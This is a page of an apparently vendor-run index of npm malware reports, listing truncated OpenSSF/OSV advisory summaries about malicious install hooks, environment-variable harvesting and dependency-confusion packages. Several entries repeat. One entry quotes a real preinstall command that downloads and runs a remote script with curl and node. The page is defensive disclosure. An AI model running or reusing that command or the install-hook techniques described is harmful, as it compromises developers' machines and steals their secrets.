npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 693
Updated 27 Oct 2026, 10:33 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-3716 blocks this version. package.json line 7 invokes require('child_process') and execSync('curl...') from an npm lifecycle script. This causes the...
OpenSSF/OSV malware advisory MAL-2026-4249 blocks this version. On `npm install`, the package's `postinstall` hook (package.json line 13) issues an HTTPS GET to `rqnyz-2605-7280-7--2000-c...
OpenSSF/OSV malware advisory MAL-2026-4697 blocks this version. The package's postinstall hook unconditionally executes `node bin/twokey.js --desktop --enable-autostart`, which performs t...
OpenSSF/OSV malware advisory MAL-2026-4697 blocks this version. The package's postinstall hook unconditionally executes `node bin/twokey.js --desktop --enable-autostart`, which performs t...
OpenSSF/OSV malware advisory MAL-2026-4697 blocks this version. The package's postinstall hook unconditionally executes `node bin/twokey.js --desktop --enable-autostart`, which performs t...
OpenSSF/OSV malware advisory MAL-2026-4697 blocks this version. The package's postinstall hook unconditionally executes `node bin/twokey.js --desktop --enable-autostart`, which performs t...
OpenSSF/OSV malware advisory MAL-2026-4697 blocks this version. The package's postinstall hook unconditionally executes `node bin/twokey.js --desktop --enable-autostart`, which performs t...
OpenSSF/OSV malware advisory MAL-2026-5638 blocks this version. OSV/OpenSSF confirms tw-fluid-type@1.0.1 as malicious package MAL-2026-5638. Malicious code in tw-fluid-type (npm)
OpenSSF/OSV malware advisory MAL-2026-4356 blocks this version. On `npm install`, postinstall.js executes two attacker-controlled actions automatically. First, it collects installer-side...
OpenSSF/OSV malware advisory MAL-2026-4356 blocks this version. On `npm install`, postinstall.js executes two attacker-controlled actions automatically. First, it collects installer-side...
OpenSSF/OSV malware advisory MAL-2026-4691 blocks this version. package.json declares `"preinstall": "./scripts/postbuild"`, where `scripts/postbuild` is a 976,568-byte unsigned, unhashed...
OpenSSF/OSV malware advisory MAL-2026-6266 blocks this version. package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js"....
OpenSSF/OSV malware advisory MAL-2026-6266 blocks this version. package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js"....
OpenSSF/OSV malware advisory MAL-2026-4785 blocks this version. index.js is hex-name-obfuscated (_0x-style string array) and, on require(), enumerates the entire process.env via Object.ke...
OpenSSF/OSV malware advisory MAL-2026-5926 blocks this version. OSV/OpenSSF confirms test-copppss@1.999.0 as malicious package MAL-2026-5926. Malicious code in test-copppss (npm)
OpenSSF/OSV malware advisory MAL-2026-4689 blocks this version. test-ajs advertises a ~2KB React/Recoil helper (dist/cjs/index.js, 2169 bytes, exporting Roid/inject glue over react+recoil...
OpenSSF/OSV malware advisory MAL-2026-4690 blocks this version. Package name impersonates the legitimate weavedb-sdk; lib/index.js is a near-verbatim copy of that SDK's Arweave/Warp/EthCr...
OpenSSF/OSV malware advisory MAL-2026-4198 blocks this version. terminal-logger-utils is a malicious npm package that when installed executes a postinstall hook that opens utils.cjs, an o...
OpenSSF/OSV malware advisory MAL-2026-4198 blocks this version. terminal-logger-utils is a malicious npm package that when installed executes a postinstall hook that opens utils.cjs, an o...
OpenSSF/OSV malware advisory MAL-2026-4198 blocks this version. terminal-logger-utils is a malicious npm package that when installed executes a postinstall hook that opens utils.cjs, an o...
OpenSSF/OSV malware advisory MAL-2026-4685 blocks this version. The package contains a file (poc.js) that imports os, https, fs, and child_process; collects host identifiers including os....
OpenSSF/OSV malware advisory MAL-2026-4688 blocks this version. On `npm install`, the preinstall script `poc.js` collects host identity (hostname, username, OS/platform), network configur...
OpenSSF/OSV malware advisory MAL-2026-4688 blocks this version. On `npm install`, the preinstall script `poc.js` collects host identity (hostname, username, OS/platform), network configur...
OpenSSF/OSV malware advisory MAL-2026-4688 blocks this version. On `npm install`, the preinstall script `poc.js` collects host identity (hostname, username, OS/platform), network configur...
OpenSSF/OSV malware advisory MAL-2026-4687 blocks this version. tempo-modules@99.0.1 is a dependency-confusion attack package. The package.json preinstall hook executes poc.js, which on e...